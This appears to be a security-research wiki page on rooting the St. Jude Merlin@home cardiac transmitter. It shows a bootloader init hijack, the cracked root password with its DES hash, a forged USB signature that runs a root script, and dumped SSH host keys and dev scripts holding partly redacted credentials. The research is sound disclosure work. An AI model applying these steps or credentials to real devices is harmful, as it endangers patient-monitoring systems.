SJM Merlin at Home

From Exploitee.rs
Revision as of 19:21, 9 August 2017 by Rjmendez (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."

Merlin-at-home-1.jpg

This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical [email protected] Transmitter Model EX1150.

About

The [email protected] Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.

Disassembly

UART

A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.

Exploitation

This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.

Post device verification...
Serial2In string: ATi0
Serial2In string: 
56000
Modem Post : Passed with retries = 0

Time taken by POST : [1.197000] seconds
nand_init: manuf=0x000000EC  device=0x000000F1
scanning for bad blocks...
nand_check_blocks: nand_read_page() failed, addr=0x02B40000
nand_check_blocks: nand_read_page() failed, addr=0x04B20000
nand_check_blocks: nand_read_page() failed, addr=0x07660000

Consider yourself BLOBed!

blob version 2.0.5-pre2 for Tanto Basic Device
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.
This is free software, and you are welcome to redistribute it
under certain conditions; read the GNU GPL for details.
blob release: d20081014_platform_4_16
Memory map:
  0x02000000 @ 0xc0000000 (32 MB)

ram_post executing...
Data Bus Test
Address Bus Test
Data Qualifer Test
Device Test
c0200000status_next, board type = RF board revision =  (3)
c1e00000r14_svc = 0x0000034d
Autoboot in progress, press any key to stop ..
Autoboot aborted
Type "help" to get a list of commands
blob> boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=

We can pull some useful information from the device.

sh-2.05a# cat /etc/passwd
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
www:*:17:100:www:/var/www:
sshd:*:18:100:sshd:/var/run/sshd:
nobody:*:65534:65534:nobody:/home:/bin/sh
sh-2.05a# cat /etc/shadow
cat: /etc/shadow: No such file or directory

Lets break this.

E:\hashcat-3.5.0>hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a
hashcat (v3.5.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU

OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Precompute-Final-Permutation
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 75c

[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>

0q8h1Maw1oYAU:mah1200

Session..........: sjm_hash
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: 0q8h1Maw1oYAU
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a [7]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4764729344/69833729609375 (0.01%)
Rejected.........: 0/4764729344 (0.00%)
Restore.Point....: 0/81450625 (0.00%)
Candidates.#1....: ;~9anan -> $sb~{ka
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16

Started: Sun May 07 17:39:51 2017
Stopped: Sun May 07 17:40:05 2017

Attempts to login as root fail, what was going on with that operator user?

operator:*:12:0:operator:/root:

Lets set the password to "test" and attempt logging in.

sh-2.05a# grep "operator" /etc/passwd
operator:dPUvQFLH8...A:12:0:operator:/root:
[SJM_CONFIGURATION]
VERSION=EX2000 v6.1B PR_6.56
(none) login: root
Password: 
Login incorrect
2017-05-14 
(none) login: operator
Password: 
[email protected](none):~$ whoami
operator
[email protected](none):~$ su root
Password: 
PAM_unix[266]: (su) session opened for user root by (uid=12)
[email protected](none):~# whoami
root
[email protected](none):~# 

Taking Things Further

Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.

#!/bin/bash
#
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke 
#  this script only if the attached USB device is a mass-storage device.
#  hotplug does this by looking at the device class of the attached usb device
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices
#  is  ______
# 
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to
#  find the scsi ID of the attached USB storage device. It then goes on to
#  find the device node corresponding to this scsi ID.
#  
# version 1.1 - Added USB signature check functionality 
#
# For the new cellular adapters - viz mobidata and velocity, ignore the
# mass storage interface reported. Please see comments at the top of
# /etc/hotplug/usb/velocity for details.
#
#   - Ashok Iyer (16-Jun-2010)
#

export PATH=/usr/bin:/usr/local/bin:$PATH

MOUNT_PATH="/mnt/sjmpendrives"
MOUNT_NUMBER=1
LOG_FILE="/tmp/usbstorage.log"
SGMAP="sg_map"


# The functions in this script rely on "echo" to pass information to each
# other. If you need to modify this script, do not use "echo" for debugging.
# Instead use the feedback()/error_exit() functions below. These will log 
# information to a log file and do not interfere with information passing 
# between functions.

***snip***

function check_sign {
    local node1=$1"1"
    feedback "Checking signature ... "
    feedback "node1 = $node1"
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501
    signature=`cat /tmp/.sign` 

    if [ "$signature" = "SJM" ]; then
	feedback "Valid pendrive"
	echo 0
    else
	feedback "Invalid pendrive"
	echo -1
    fi
}

***snip***

# We only mount the first partition of a USB storage device. There is no 
# requirement to mount multiple partitions. Makes the job easy :-)
function mount_scsi_dev {
    local scsi_dev=$1
    local mountpt=""
  
    # check if the first partition of the device is mounted 
    if ! mount | egrep -q "^$scsi_dev"1"[[:space:]]" 
    then
        mountpt=$(find_unused_mountpt) || error_exit "Failed to find a mount pt"
        mkdir -p "$mountpt" || error_exit "Failed to create mount pt $mountpt"

	# FIXME- Ugly hack to detect partitions on USB flash drive
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline
        # or fix devfs once and for all.
        # There is another problem in devfs that after the USB flash disk is removed
        # the corresponding devfs partitions (part1, part2 etc...) still show up. 
	foobar=`ls -l $scsi_dev | awk '{print $11}'`
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 
	
	# Checking USB signature
	ret=`check_sign $scsi_dev`	
	if [ $ret -eq 0 ]; then
		feedback "Valid pendrive"
	else
		# Tanto: Inform the Exec App to show 
		# an Invalid Media Error
		if [ -p /tmp/remoteInt.pipe ]; then
			echo "UsbHotplug InvalidMedia" > /tmp/remoteInt.pipe
			error_exit "Invalid pendrive"
		else
			echo "ERROR: /tmp/remoteInt.pipe does not exist!!!"
		fi
	fi

        feedback "Mounting $scsi_dev"1" on $mountpt"
        mount -t auto $scsi_dev"1" $mountpt
        if [ "$?" -eq 0 ]; then
            feedback "$scsi_dev"1" is now mounted on $mountpt"
	    feedback "Launch application specific script"	
	    sh /etc/launch_appln.sh $mountpt
        else
            feedback "Mount error for $scsi_dev"
        fi
    else
        feedback "Ignoring $scsi_dev - already mounted"
    fi
}
  
# Find and mount all attached USB storage devices
function mount_all_attached {
    local scsiuniqid=""
    feedback "Find and mount all attached usb storage devices"

    for scsiuniqid in $(allusb_scsiuniqid)
    do
        local scsidev="`diskdev_from_uniqid $scsiuniqid`"
        if [ "$scsidev" == "UNKNOWN" ]; then
            sleep 1
        fi
        mount_scsi_dev $scsidev
    done
}

***snip***


# The remover script will be invoked when the device is removed. This is
# useless in a way because umount will have no effect. The only benefit is
# that the "mount" command will not show stale entries.

# FIXME - Need to add specialized LOGIC to selectively umount USB flash drive 
# which is removed ( unlike umounting all attached USB flash drives )
feedback "REM = $REMOVER"
if [ -f $REMOVER ]; then
    echo '/bin/umount /mnt/sjmpendrives/*' >> $REMOVER
else
    echo -e '#!/bin/sh\n/bin/umount /mnt/sjmpendrives/*' > $REMOVER
fi

# Inform the Export data script when pendrive is unplugged.
echo -e '\nps -A | grep export_data \nif [ $? -eq 0 ]; then \n\tif [ -p /tmp/usbDataExport.pipe ]; then \n\t\t echo "Hotplug umount" > /tmp/usbDataExport.pipe \n\tfi\nfi' >> $REMOVER
chmod a+x $REMOVER

mount_all_attached

Lets look inside of /etc/launch_appln.sh

#!/bin/sh

if [ $# -ne 1 ]; then
        echo "usage: ./launch_appln.sh /mnt/pendrive"
        exit
fi

# FIXME  
# This script may be invoked by hotplug 
# Do not run the script if it is already running 
# updater or data export

mountpt=$1
script_path=/apps/tanto/

if [ -f $mountpt/version.ini ]; then
	# call updater script
	echo "Launching updater script"
	if [ -f $mountpt/etc/init.d/upgrade_script.sh ]; then
		sh $mountpt/etc/init.d/upgrade_script.sh $mountpt > /tmp/debugUpdater.txt 2>&1
		umount /mnt/sjmpendrives/1
		umount /mnt/pendrive
	else
		umount /mnt/sjmpendrives/1
		umount /mnt/pendrive
		exit 0
	fi
else
	# Call Data export script
	echo "Launching export data script"
	sh $script_path/export_data.sh $mountpt
    umount /mnt/sjmpendrives/1
    umount /mnt/pendrive
fi

It looks like their pendrive "signature" is fairly easy to get around.

[email protected]:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00116472 s, 2.6 kB/s
[email protected]:~/stjude_merlin$ hd /tmp/.sign 
00000000  00 00 00                                          |...|
00000003
[email protected]:~/stjude_merlin$ hd .sign_mod
00000000  53 4a 4d                                          |SJM|
00000003
[email protected]:~/stjude_merlin$ sudo dd if=.sign_mod bs=1 count=3 of=/dev/sdb1 bs=1 seek=501
3+0 records in
3+0 records out
3 bytes copied, 0.00700994 s, 0.4 kB/s
[email protected]:~/stjude_merlin$ sudo dd if=/dev/sdb1 of=/tmp/.sign bs=1 count=3 skip=501
3+0 records in
3+0 records out
3 bytes copied, 0.00123249 s, 2.4 kB/s
[email protected]:~/stjude_merlin$ hd /tmp/.sign 
00000000  53 4a 4d                                          |SJM|
00000003

Adding the required files to the drive and a small script.

[email protected]:/media/rjmendez/7A3B-B3C6$ ls -lahR
.:
total 36K
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 14 11:04 .
drwxr-x---+ 8 root     root     4.0K May 14 11:02 ..
drwxr-xr-x  3 rjmendez rjmendez 8.0K May 13 14:02 etc
-rw-r--r--  1 rjmendez rjmendez  620 May 14 06:01 passwd
-rw-r--r--  1 rjmendez rjmendez    4 May 10 17:07 version.ini

./etc:
total 24K
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 14 11:04 ..
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 init.d

./etc/init.d:
total 24K
drwxr-xr-x 2 rjmendez rjmendez 8.0K May 13 14:02 .
drwxr-xr-x 3 rjmendez rjmendez 8.0K May 13 14:02 ..
-rw-r--r-- 1 rjmendez rjmendez  771 May 13 18:27 upgrade_script.sh

[email protected]:/media/rjmendez/7A3B-B3C6$ cat etc/init.d/upgrade_script.sh 
#!/bin/sh
function led_off {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b0
		sleep 0.05
    done
}

function led_dim {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b1
		sleep 0.05
    done
}

function led_bright {
    for i in `seq 0 7`;
    do
        ledControl -l$i -b2
		sleep 0.05
    done
}

function party_mode {
    counter=0
    while [ $counter -lt $1 ];
    do
        led_off
        sleep 0.05
        led_dim
        sleep 0.05
        led_bright
        sleep 0.05
        let counter=counter+1
    done
}

/etc/init.d/tantoapp stop
#cp /mnt/sjmpendrives/1/passwd /etc/passwd
echo "This worked!" > /root/diditwork.txt
if [ -f /root/diditwork.txt ];
then
    party_mode 15
else
    echo "It did not work..."
fi

This is the output that we get from the console.

[email protected](none):~$ su root
Password: 
PAM_unix[265]: (su) session opened for user root by (uid=12)
[email protected](none):~# hub.c: new USB device usb-mx2hci-2, assigned address 2
scsi0 : SCSI emulation for USB Mass Storage devices
  Vendor: Lexar     Model: USB Flash Drive   Rev: 1100
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sda: 31285248 512-byte hdwr sectors (16018 MB)
sda: Write Protect is off
Partition check:
 /dev/scsi/host0/bus0/target0/lun0: p1
modprobe: Can't locate module /dev/sg1
modprobe: Can't locate module /dev/sg2
modprobe: Can't locate module /dev/sg3
modprobe: Can't locate module /dev/sg4
modprobe: Can't locate module /dev/sg5
modprobe: Can't locate module /dev/sdb
modprobe: Can't locate module /dev/sdc
modprobe: Can't locate module /dev/sdd
modprobe: Can't locate module /dev/sde
modprobe: Can't locate module /dev/sdf
modprobe: modprobe: Can't locate module nls_cp437
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
modprobe: modprobe: Can't locate module nls_iso8859-1
ls /root
devel_install.sh  diditwork.txt     setdev.sh         setlog.sh
[email protected](none):~# cat /root/diditwork.txt 
This worked!
[email protected](none):~# cat /tmp/usbstorage.log 
+++ Starting USB (un)mounter script for device /proc/bus/usb/001/002
REM = /var/run/usb/%proc%bus%usb%001%002
Find and mount all attached usb storage devices
usb proc-fs yields SCSI host number=0 - suffix with zeroes (kernel 2.4)
Use sgmap to match 0:0:0:0.
Waiting for device id to appear...
SCSI disk for 0:0:0:0 is /dev/sda
Checking /mnt/sjmpendrives/1
Mountpoint /mnt/sjmpendrives/1 is free
Checking signature ... 
node1 = /dev/sda1
Valid pendrive
Valid pendrive
Mounting /dev/sda1 on /mnt/sjmpendrives/1
/dev/sda1 is now mounted on /mnt/sjmpendrives/1
Launch application specific script

Party Mode Demo

Other Stuff to Look Into

I doubt this device has been updated to the latest firmware as I aquired it still wrapped in its packaging. As of January 2017 St. Jude Medical claims that a security patch has been applied to the newer firmware releases.

Below are some interesting things that were found.

DSA keys and known hosts.

[email protected](none):~# cd /root/.ssh
[email protected](none):~/.ssh# ls -lah
drwx------    2 root     root           0 Jan 10  2013 .
drwxrwxr-x    3 root     root           0 May 15 00:10 ..
-rw-------    1 root     root         668 Nov 28  2012 id_dsa
-rw-r--r--    1 root     root         601 Nov 28  2012 id_dsa.pub
-rw-r--r--    1 root     root         719 Nov 28  2012 known_hosts
[email protected](none):~/.ssh# cat known_hosts 
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtfdoYdn5D/vsC4Pm25jBUXDzfXrj6O50O32UONPOnvKcb08acULYcx1bDyeRGcMBqKwEJdPUKdwAT2evf4jYVSa4JvDAHQWJo15s2igWO04veEYitV5i0NEqVs+vRTJAqM70iCIKkhtoGkjBBnJcntw6u/8vgKXkvqBx85WBULc=
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA29HEmKtQ5RABmAWmZ3MdyO+wiQ1GGzuNneGnPPL8KF+SYLjHXaQViB32cibA9dSauMpb8zcwj7YSxtKfu4K1gcH5vUOsqW9BgDsZYv7zWk2OHb8vLs+NT083+YbzjZvr7oGz+1/TAzfXORsN9Gf+BQMsHyjiHOjVJ/vEIy2fp0E=
REDACTED.merlin.net,150.202.X.X ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyDjGfUubwy0y0KJw459g2L17DK4K4QAIZSvcW8hupVNK/3IrP9HSXetS69czyLISFfewq6a4ippvsbh5i+fb2C2vhHmW4N1U3zKa6vcKzUEd6j6NwUefunbSP8XBXaMoqSuN2l3nbfEeUIaVDuSk9m6uP/rVcGVQHZokPVDdpP8=

Dev scripts in /root/

[email protected](none):~# ls -lah /root
drwxrwxr-x    3 root     root           0 May 15 00:10 .
drwxr-xr-x   20 root     root           0 Jan  1  1970 ..
-rw-r--r--    1 root     root         446 Jan  1  1970 .bash_history
-rw-r--r--    1 root     root          52 Apr 24  2008 .bash_profile
drwx------    2 root     root           0 Jan 10  2013 .ssh
-r-xr-xr-x    1 root     root        3.0k Nov 28  2012 devel_install.sh
-r-xr-xr-x    1 root     root         483 Nov 28  2012 setdev.sh
-r-xr-xr-x    1 root     root         267 Nov 28  2012 setlog.sh

[email protected](none):~# cat setdev.sh 
#!/bin/sh

if [ $# -ne 1 ]; then
        echo "usage: ./setdev.sh [1|0]"
        exit
fi

if [ $1 -eq 1 ]; then
        sed '1,$s/DEVELOPMENT \(.*= .*\)0/DEVELOPMENT \11/g' /data/config/TantoParms.conf > /tmp/TantoParms.conf
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf
elif [ $1 -eq 0 ]; then
        sed '1,$s/DEVELOPMENT \(.*= .*\)1/DEVELOPMENT \10/g' /data/config/TantoParms.conf > /tmp/TantoParms.conf
        cp -f /tmp/TantoParms.conf /data/config/TantoParms.conf
else
        echo "Invalid argument"
fi

[email protected](none):~# cat setlog.sh 
#!/bin/sh

if [ $# -ne 1 ]; then
        echo "usage: ./setlog.sh [1|0]"
        exit
fi

if [ $1 -eq 1 ]; then
        touch /data/config/.tantolog
        touch /data/config/.dcllog
elif [ $1 -eq 0 ]; then
        rm /data/config/.tantolog
        rm /data/config/.dcllog
else
        echo "Invalid argument"
fi

[email protected](none):~# cat devel_install.sh
#!/bin/sh
#
# Script to download the devel package via scp from ftp.pacesetter.com
# Username: REDACTED_USER. The script will prompt for a password which the 
# user has to enter. 
# 
# Version 0.1 - Ashok Iyer (aiyer at sjm dot com)

# Setup the PATH. Don't assume we get a sane one
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin

# IP address of the server from which we download the devel package using scp.
SERVER="10.16.155.27"

function download_package()
{
	# Download the devel package and the md5sum.txt file
	echo -e "\n==> Downloading $1 package using wget.\n"

	wget ftp://REDACTED_USER:[email protected]/$2/$1

	if [ "$?" != 0 ]; then
		echo "scp failed..."
		exit 1
	fi
}

/root/setdev.sh 1
/etc/init.d/tantoapp stop

if [ ! -f /etc/password_key ]; then
    touch /etc/password_key
fi

echo "-----------------------------------------------------"
echo "This script will install the development package" 
echo "This contains the following:"

echo "   1. gdbserver"
echo "   2. ssh server"
echo "   3. procps (contains vmstat and top)"
echo "   4. dos2unix and unix2dos"
echo "   5. ftp client"
echo "   6. mtd utilities (for diagnostics)"
echo "   7. less utility"
echo "   8. traceroute"
echo "   9. agentd"
echo "  10. monitord"
echo "-----------------------------------------------------"

sleep 2

# Test if the server is reachable
echo 
echo "----  Testing server connectivity  ----"
sleep 2
ping -c 3 -w 10 $SERVER

if [ "$?" != 0 ]; then
    echo 
    echo "--- $SERVER not reachable. ---"
    echo " Will try connecting anyway (some firewalls block ping requests)".
    echo " Contact your network administrator if the connection fails"
    sleep 2
else
    echo 
    echo "---   Server reachable. Good!  ---"
    echo
fi

TMPDIR="$HOME/devel$$"
mkdir $TMPDIR

if [ "$?" != 0 ]; then
    echo "unable to create temporary directory. Check if you have write"
    echo "permissions in $HOME"
fi

cd $TMPDIR
# Download the development packages
echo
echo "+----------------------------------------------+"
echo "| Downloading development packages using wget. |"
echo "+----------------------------------------------+"
echo

download_package "devel-util_1.4_all.ipk" "not-so-advanced/utils/devel_packages/"

echo
echo "+---------------------------------------+"
echo "| Installing the development utilities. |"
echo "+---------------------------------------+"
echo
# The package is sane. Install it
ipkg-cl -d root install *.ipk

if [ "$?" != 0 ]; then
    echo "Package installation failed"
    exit 1
fi

echo
echo "+-------------------------------------------+"
echo "| Performing required config modifications. |"
echo "+-------------------------------------------+"
echo

sed '1,$s/AUTOKEYGEN=no/AUTOKEYGEN=yes/g' /etc/default/ssh > /tmp/ssh
cp -a /tmp/ssh /etc/default/ssh

echo
echo "+-------------------------------------------+"
echo "| Starting SSH Daemon                     . |"
echo "+-------------------------------------------+"
echo

/etc/init.d/ssh start

echo
echo "Devel package successfully installed"

cd $HOME

# delete TMPDIR
rm -rf $TMPDIR

exit 0

Sample patient profile

<?xml version="1.0" encoding="UTF-8"?>
<profile:ProfileList xmlns:profile="http://www.merlin.net/PayloadProfile.xsd">
 <SystemData>
  <SystemInformation DeviceModel="XXXX-XX" DeviceSerialNumber="XXXXXX" NumberOfProfiles="7" PatientNotifyWindowEnd="23:00:00" PatientNotifyWindowStart="16:00:00" ProfileDate="2011-09-07" ProfileVersion="7" SchemaVersion="A" TransmitterModelNumber="EX1150" TransmitterProfileID="100899" TransmitterRequestType="PProfile" TransmitterSerialNumber="00000000" UTCServerTime="22:57:29"/>
  <Controls>
   <Switch name="ADETECT_DIALUP_NUM" value="Enable"/>
   <Switch name="UNPAIRED_MODE" value="Disable"/>
   <Switch name="ENROLLMENT_CHANGE" value="Disable"/>
   <Switch name="PROFILE_SYNC_PREF" value="Enable"/>
   <iSwitch name="ALLWD_UNSCHED_EVENTS" value="100"/>
   <iSwitch name="NOTIFY_DELAY_ALERT" value="24"/>
   <iSwitch name="NOTIFY_DELAY_FLP" value="96"/>
   <iSwitch name="NOTIFY_DELAY_MED" value="0"/>
   <iSwitch name="NOTIFY_DELAY_SERVER" value="0"/>
   <tSwitch name="CLINIC_TYPE" value="UNKNOWN"/>
   <tSwitch name="SHORT_BTN_ACTION" value="FLP"/>
   <tSwitch name="LONG_BTN_ACTION" value="DCHK"/>
   <tSwitch name="MERLIN_ID" value="512556937"/>
   <tSwitch name="UPDATED_DEVICE_MODEL" value="1111-11"/>
   <tSwitch name="UPDATED_DEVICE_SERIAL" value="999999"/>
   <tSwitch name="SCHED_REF_TIME" value="2001-01-01_00-00-00"/>
   <tSwitch name="VOL_CTRL_PREF" value="OFF"/>
  </Controls>
 </SystemData>
 <PayloadProfile Type="Follow-up">
  <GenerateSchedule GS_DateOfEvent="2011-09-08" GS_TimeOfEvent="09:00:00"/>
  <Controls>
   <Switch name="GDC2_SCHED_FLP_PREF" value="Enable"/>
   <Switch name="UNSCHED_FLP_PREF" value="Enable"/>
   <Switch name="SCHED_FLP_PREF" value="Disable"/>
   <Switch name="CLEAR_EPIS_FLAG" value="Enable"/>
   <Switch name="CLEAR_ST_FLAG" value="Disable"/>
   <Switch name="CLEAR_DIAG_FLAG" value="Enable"/>
   <Switch name="CLEAR_SEGM_FLAG" value="Enable"/>
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="Device_Check">
  <GenerateSchedule GS_Interval="24" GS_TimeOfEvent="09:00:00"/>
  <Controls>
   <Switch name="UNSCH_DCHK_PREF" value="Enable"/>
   <Switch name="SCHED_DCHK_PREF" value="Disable"/>
  </Controls>
 </PayloadProfile>
 <PayloadProfile Type="Alert_Controls">
  <Controls>
   <Switch name="HIGH_VRATE_EPISODE_ALERT" value="Disable"/>
   <Switch name="V_AUTOCAP_ALERT" value="Disable"/>
   <Switch name="ACAP_CONFIRM_ALERT" value="Disable"/>
   <Switch name="RVCAP_CONFIRM_ALERT" value="Disable"/>
   <Switch name="LVCAP_CONFIRM_ALERT" value="Disable"/>
   <Switch name="HIGH_VRATE_EPISODE_NOT" value="Disable"/>
   <Switch name="V_AUTOCAP_NOT" value="Disable"/>
   <Switch name="ACAP_CONFIRM_NOT" value="Disable"/>
   <Switch name="RVCAP_CONFIRM_NOT" value="Disable"/>
   <Switch name="LVCAP_CONFIRM_NOT" value="Disable"/>
   <Switch name="CONG_MON_ALERT" value="Enable"/>
   <Switch name="DEV_IN_MRI_MODE_ALERT" value="Disable"/>
   <Switch name="DEV_RST_MRI_MODE_ALERT" value="Disable"/>
   <Switch name="EARLY_DEPLETION_DETECTED_ALERT" value="Enable"/>
   <Switch name="PER_BIV_PACING_ALERT" value="Disable"/>
   <Switch name="PER_RV_PACING_ALERT" value="Enable"/>
   <Switch name="CONG_MON_NOT" value="Disable"/>
   <Switch name="DEV_IN_MRI_MODE_NOT" value="Disable"/>
   <Switch name="DEV_RST_MRI_MODE_NOT" value="Disable"/>
   <Switch name="EARLY_DEPLETION_DETECTED_NOT" value="Disable"/>
   <Switch name="PER_BIV_PACING_NOT" value="Disable"/>
   <Switch name="PER_RV_PACING_NOT" value="Disable"/>
   <Switch name="LFDA_TIMEOUT_ALERT" value="Enable"/>
   <Switch name="ST_TYPE_2_ALERT" value="Enable"/>
   <Switch name="VT_VF_3_PER_DAY_ALERT" value="Enable"/>
   <Switch name="THERAPY_EXHAUSTED_ALERT" value="Enable"/>
   <Switch name="HV_THERAPY_UNSUC_ALERT" value="Enable"/>
   <Switch name="VT_VF_OCCURED_ALERT" value="Enable"/>
   <Switch name="LFDA_TIMEOUT_NOT" value="Disable"/>
   <Switch name="ST_TYPE_2_NOT" value="Disable"/>
   <Switch name="VT_VF_3_PER_DAY_NOT" value="Disable"/>
   <Switch name="THERAPY_EXHAUSTED_NOT" value="Disable"/>
   <Switch name="HV_THERAPY_UNSUC_NOT" value="Disable"/>
   <Switch name="VT_VF_OCCURED_NOT" value="Disable"/>
   <Switch name="LFDA_NSLN_ALERT" value="Enable"/>
   <Switch name="LFDA_RV_NOISE_ALERT" value="Enable"/>
   <Switch name="ST_TYPE_1_ALERT" value="Enable"/>
   <Switch name="LFDA_NSLN_NOT" value="Disable"/>
   <Switch name="LFDA_RV_NOISE_NOT" value="Disable"/>
   <Switch name="ST_TYPE_1_NOT" value="Enable"/>
   <Switch name="AIMP_OOR_ALERT" value="Disable"/>
   <Switch name="CCRG_LMT_ALERT" value="Enable"/>
   <Switch name="DEV_EOS_ALERT" value="Disable"/>
   <Switch name="DEV_ERI_ALERT" value="Enable"/>
   <Switch name="DEV_EVVI_ALERT" value="Enable"/>
   <Switch name="DEV_RST_ALERT" value="Enable"/>
   <Switch name="HVIMP_OOR_ALERT" value="Enable"/>
   <Switch name="HW_BVVI_ALERT" value="Enable"/>
   <Switch name="LVIMP_OOR_ALERT" value="Disable"/>
   <Switch name="OCD_ALERT" value="Enable"/>
   <Switch name="SOSD_ALERT" value="Enable"/>
   <Switch name="RVIMP_OOR_ALERT" value="Enable"/>
   <Switch name="TTRPY_DIS_ALERT" value="Enable"/>
   <Switch name="ATAF_DUR_ALERT" value="Disable"/>
   <Switch name="ATAF_WK_DUR_ALERT" value="Disable"/>
   <Switch name="ATAF_VRATE_ALERT" value="Disable"/>
   <Switch name="ATP_RX_SUCCESS_ALERT" value="Enable"/>
   <Switch name="HV_TRPY_ALERT" value="Enable"/>
   <Switch name="PERCENT_BIV_THRESHOLD_ALERT" value="Disable"/>
   <Switch name="PERCENT_RV_THRESHOLD_ALERT" value="Disable"/>
   <Switch name="ST_MAJOR_EPISODE_ALERT" value="Disable"/>
   <Switch name="TRPY_ACCEL_ALERT" value="Enable"/>
   <Switch name="NOISE_REV_ALERT" value="Disable"/>
   <Switch name="NSVT_EPIS_ALERT" value="Disable"/>
   <Switch name="NSVF_EPIS_ALERT" value="Disable"/>
   <Switch name="SPARE_1_ALERT" value="Disable"/>
   <Switch name="SPARE_2_ALERT" value="Disable"/>
   <Switch name="SPARE_3_ALERT" value="Disable"/>
   <Switch name="SPARE_4_ALERT" value="Disable"/>
   <Switch name="SPARE_5_ALERT" value="Disable"/>
   <Switch name="AIMP_OOR_NOT" value="Disable"/>
   <Switch name="CCRG_LMT_NOT" value="Disable"/>
   <Switch name="DEV_EOS_NOT" value="Disable"/>
   <Switch name="DEV_ERI_NOT" value="Disable"/>
   <Switch name="DEV_EVVI_NOT" value="Disable"/>
   <Switch name="DEV_RST_NOT" value="Disable"/>
   <Switch name="HVIMP_OOR_NOT" value="Disable"/>
   <Switch name="HW_BVVI_NOT" value="Disable"/>
   <Switch name="LVIMP_OOR_NOT" value="Disable"/>
   <Switch name="OCD_NOT" value="Disable"/>
   <Switch name="SOSD_NOT" value="Disable"/>
   <Switch name="RVIMP_OOR_NOT" value="Disable"/>
   <Switch name="TTRPY_DIS_NOT" value="Disable"/>
   <Switch name="ATAF_DUR_NOT" value="Disable"/>
   <Switch name="ATAF_WK_DUR_NOT" value="Disable"/>
   <Switch name="ATAF_VRATE_NOT" value="Disable"/>
   <Switch name="ATP_RX_SUCCESS_NOT" value="Disable"/>
   <Switch name="HV_TRPY_NOT" value="Disable"/>
   <Switch name="PERCENT_BIV_THRESHOLD_NOT" value="Disable"/>
   <Switch name="PERCENT_RV_THRESHOLD_NOT" value="Disable"/>
   <Switch name="ST_MAJOR_EPISODE_NOT" value="Disable"/>
   <Switch name="TRPY_ACCEL_NOT" value="Disable"/>
   <Switch name="NOISE_REV_NOT" value="Disable"/>
